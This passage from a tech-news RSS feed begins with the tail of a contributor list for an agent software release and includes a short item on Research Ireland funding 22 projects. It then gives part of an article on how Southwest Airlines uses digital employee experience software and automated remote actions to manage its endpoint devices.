data-octo-dimensions="link_type:self" href="https://github.com/hrygo">@hrygo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HuangYuChuh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HuangYuChuh">@HuangYuChuh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hugo-SEQUIER/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hugo-SEQUIER">@Hugo-SEQUIER</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HxT9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HxT9">@HxT9</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iacker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iacker">@iacker</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/InB4DevOps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/InB4DevOps">@InB4DevOps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/isaachuangGMICLOUD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/isaachuangGMICLOUD">@isaachuangGMICLOUD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iuyup/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iuyup">@iuyup</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackey8616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackey8616">@jackey8616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackjin1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackjin1997">@jackjin1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaggia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaggia">@Jaggia</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jak983464779/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jak983464779">@jak983464779</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jelrod27/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jelrod27">@jelrod27</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jethac/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jethac">@jethac</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JithendraNara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JithendraNara">@JithendraNara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johnisag/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johnisag">@johnisag</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Julientalbot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Julientalbot">@Julientalbot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jwd-gity/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jwd-gity">@Jwd-gity</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kallidean/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kallidean">@kallidean</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keyuyuan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keyuyuan">@keyuyuan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kfa-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kfa-ai">@kfa-ai</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kidonng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kidonng">@kidonng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KiraKatana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KiraKatana">@KiraKatana</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kjames2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kjames2001">@kjames2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Korkyzer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Korkyzer">@Korkyzer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KvnGz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KvnGz">@KvnGz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lars-hagen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lars-hagen">@lars-hagen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leehack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leehack">@leehack</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leepoweii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leepoweii">@leepoweii</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/li0near/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/li0near">@li0near</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/libo1106/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/libo1106">@libo1106</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liquidchen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liquidchen">@liquidchen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/littlewwwhite/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/littlewwwhite">@littlewwwhite</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liyoungc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liyoungc">@liyoungc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luandiasrj/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luandiasrj">@luandiasrj</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyuctl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyuctl">@luoyuctl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/magic524/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/magic524">@magic524</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbac/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbac">@mbac</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/McClean/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/McClean">@McClean</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mibayy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mibayy">@Mibayy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ming1523/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ming1523">@ming1523</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mizgyo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mizgyo">@mizgyo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrshu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrshu">@mrshu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ms-alan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ms-alan">@ms-alan</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MustafaKara7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MustafaKara7">@MustafaKara7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nederev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nederev">@nederev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoechaniz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoechaniz">@nicoechaniz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nidhi-singh02/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nidhi-singh02">@nidhi-singh02</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nightcityblade/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nightcityblade">@nightcityblade</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nik1t7n/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nik1t7n">@nik1t7n</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ninso112/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ninso112">@Ninso112</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NivOO5/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NivOO5">@NivOO5</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/novax635/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/novax635">@novax635</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oferlaor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oferlaor">@oferlaor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oswaldb22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oswaldb22">@oswaldb22</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/outdoorsea/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/outdoorsea">@outdoorsea</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oxngon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oxngon">@oxngon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PaTTeeL/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PaTTeeL">@PaTTeeL</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pearjelly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pearjelly">@pearjelly</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pefontana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pefontana">@pefontana</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/perng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/perng">@perng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PhilipAD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PhilipAD">@PhilipAD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/phuongvm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/phuongvm">@phuongvm</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/polkn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/polkn">@polkn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Prasanna28Devadiga/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Prasanna28Devadiga">@Prasanna28Devadiga</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/princepal9120/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/princepal9120">@princepal9120</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pty819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pty819">@pty819</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/purzbeats/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/purzbeats">@purzbeats</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Quarkex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Quarkex">@Quarkex</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quocanh261997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quocanh261997">@quocanh261997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qWaitCrypto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qWaitCrypto">@qWaitCrypto</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Qwinty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Qwinty">@Qwinty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rahimsais/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rahimsais">@rahimsais</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/raymaylee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/raymaylee">@raymaylee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ReqX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ReqX">@ReqX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RhombusMaximus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RhombusMaximus">@RhombusMaximus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ruzzgar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ruzzgar">@Ruzzgar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ryptotalent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ryptotalent">@ryptotalent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shaun0927/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shaun0927">@shaun0927</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SiliconID/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SiliconID">@SiliconID</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/silv-mt-holdings/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/silv-mt-holdings">@silv-mt-holdings</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/smwbev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/smwbev">@smwbev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/soichiyo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/soichiyo">@soichiyo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sprmn24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sprmn24">@sprmn24</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/steezkelly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/steezkelly">@steezkelly</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sylw3ster/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sylw3ster">@Sylw3ster</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/szymonclawd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/szymonclawd">@szymonclawd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teyrebaz33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teyrebaz33">@teyrebaz33</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tianyu199509/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tianyu199509">@Tianyu199509</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tranquil-Flow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tranquil-Flow">@Tranquil-Flow</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TreyDong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TreyDong">@TreyDong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurgutKural/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurgutKural">@TurgutKural</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tw2818/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tw2818">@tw2818</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tymrtn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tymrtn">@tymrtn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/uzunkuyruk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/uzunkuyruk">@uzunkuyruk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/v1b3coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/v1b3coder">@v1b3coder</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vanthinh6886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vanthinh6886">@vanthinh6886</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VinceZcrikl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VinceZcrikl">@VinceZcrikl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vKongv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vKongv">@vKongv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vominh1919/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vominh1919">@vominh1919</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/voteblake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/voteblake">@voteblake</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VTRiot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VTRiot">@VTRiot</a>, @wali-reheman, @wesleysimplicio,<br>
@wilsen0, @WorldWriter, @worlldz, @wuli666, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wuwuzhijing/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wuwuzhijing">@wuwuzhijing</a>, @Wysie, @XiaoXiao0221, @xieNniu, @xxxigm, @yehuosi,<br>
@ygd58, @yifengingit, @yuga-hashimoto, @zccyman, @ZeterMordio, @Zhekinmaksim, @zhengyn0001</p>
<p>Also: @Nagatha (Claude Opus 4.7).</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.5.7...v2026.5.16">v2026.5.7...v2026.5.16</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Research Ireland to invest €20m into 22 high-risk, high-reward projects]]></title>
<description><![CDATA[Among the projects receiving funding is a study into the bone loss and damage associated with bone cancers and a study on how antimicrobial coatings and therapies might prevent hospital-acquired infections stemming from medical devices.
Read more: Research Ireland to invest €20m into 22 high-risk...]]></description>
<link>https://tsecurity.de/de/3516083/it-nachrichten/research-ireland-to-invest-20m-into-22-high-risk-high-reward-projects/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3516083/it-nachrichten/research-ireland-to-invest-20m-into-22-high-risk-high-reward-projects/</guid>
<pubDate>Thu, 14 May 2026 10:32:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Among the projects receiving funding is a study into the bone loss and damage associated with bone cancers and a study on how antimicrobial coatings and therapies might prevent hospital-acquired infections stemming from medical devices.</p>
<p>Read more: <a rel="nofollow" href="https://www.siliconrepublic.com/innovation/research-ireland-invest-22-high-risk-high-reward-projects">Research Ireland to invest €20m into 22 high-risk, high-reward projects</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Southwest Airlines is putting endpoint operations on autopilot]]></title>
<description><![CDATA[As digital tools become more central to its operations, Southwest Airlines is increasingly turning to AI and automation to prevent endpoint issues from affecting the sprawling airline.



The new tools allow the company’s IT team to take a more strategic, rather than reactive, approach to operati...]]></description>
<link>https://tsecurity.de/de/3515900/ai-nachrichten/how-southwest-airlines-is-putting-endpoint-operations-on-autopilot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3515900/ai-nachrichten/how-southwest-airlines-is-putting-endpoint-operations-on-autopilot/</guid>
<pubDate>Thu, 14 May 2026 09:03:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As digital tools become more central to its operations, Southwest Airlines is increasingly turning to AI and automation to prevent endpoint issues from affecting the sprawling airline.</p>



<p>The new tools allow the company’s IT team to take a more strategic, rather than reactive, approach to operations, said <a href="https://www.linkedin.com/in/derekwhisenhunt/" data-type="link" data-id="https://www.linkedin.com/in/derekwhisenhunt/" target="_blank" rel="noreferrer noopener">Derek Whisenhunt</a>, head of end user computing at Southwest Airlines. </p>



<p>“Bottom line is we now focus our team’s time on proactive and preventative work and increasing the digital employee experience and not waiting for issues to arise before focusing on them,” said Whisenhunt.</p>



<p>Southwest has been steadily digitizing frontline workflows for the past decade, replacing paper-based operational processes with mobile devices and cloud applications for its maintenance, flight operations, and gate services workers — and even cabin crews.</p>



<p>The Dallas-based company has largely digitized operations for its 72,000 staffers — two-thirds of which are in frontline roles — replacing the printed manuals used by pilots and ground operations teams with mobile devices, for instance. </p>



<p>At the same time, the switch to digital tools has placed even greater demands on IT: the Southwest end user computing team supports around 50,000 employee smartphones and tablets, 20,000 laptops, and 15,000 PCs. </p>



<p>Problems with end user devices can be costly to the business. With short turn-around times for Southwest’s 800 Boeing 737 aircraft, hardware or software failures on employee devices can quickly affect airline customers. </p>



<p>“You’ve seen it, or you’ve experienced this,” said Whisenhunt. “If you go up to a customer service or a gate agent and you can see the line start to extend — or the customers start to get frustrated and the agent’s on the phone with somebody — that’s either a ticket issue or it’s a system issue.</p>



<p>“To me, it’s very personal, because we’re impacting the employees’ experience, we’re impacting our customers’ experience,” he said. “In just that one scenario, we’re drastically impacting our ability to turn aircraft.”</p>



<h2 class="wp-block-heading">Using remote actions to prevent IT issues</h2>



<p>To monitor and manage its fleet of end-user devices, Southwest deployed a <a href="https://www.computerworld.com/article/1612536/digital-employee-experience-dex-employee-retention-tool.html">digital employee experience (DEX) application</a> from <a href="https://nexthink.com/" data-type="link" data-id="https://nexthink.com" target="_blank" rel="noreferrer noopener">Nexthink</a> several years ago. DEX software is designed to monitor and improve how employees interact with workplace technology, including device performance, application reliability, and IT support interactions.</p>



<p>In recent years Southwest has become more advanced in its use of DEX software, said Whisenhunt. Within its 14-strong endpoint management team, Southwest now has a “full-blown DEX operations team” and a DEX engineering team that’s “forward-looking, deploying new products” and managing automations, said Whisenhunt.  </p>



<p>In addition to gathering insights into the performance of devices, Southwest now uses DEX to actively remediate problems. Automation plays a key role here, with Southwest using “remote actions” to automate simple fixes, such as cleaning cache files that had caused Microsoft Teams to crash for users.</p>



<p>The volume of remote actions deployed by the airline has grown significantly in recent years. In 2024, the company conducted 1.1 billion remote actions, equivalent to roughly 13,000 hours saved for employees dealing with IT problems. In 2025, the remote action figure rose to 2.1 billion — with 23,000 hours saved, he said. </p>



<p>“That’s how important a remote action is.… It’s in that preventative world, where we’re addressing an issue before you even know it.”</p>



<p>Automated remote actions have also helped Southwest avoid hardware upgrades, said Whisenhunt.</p>



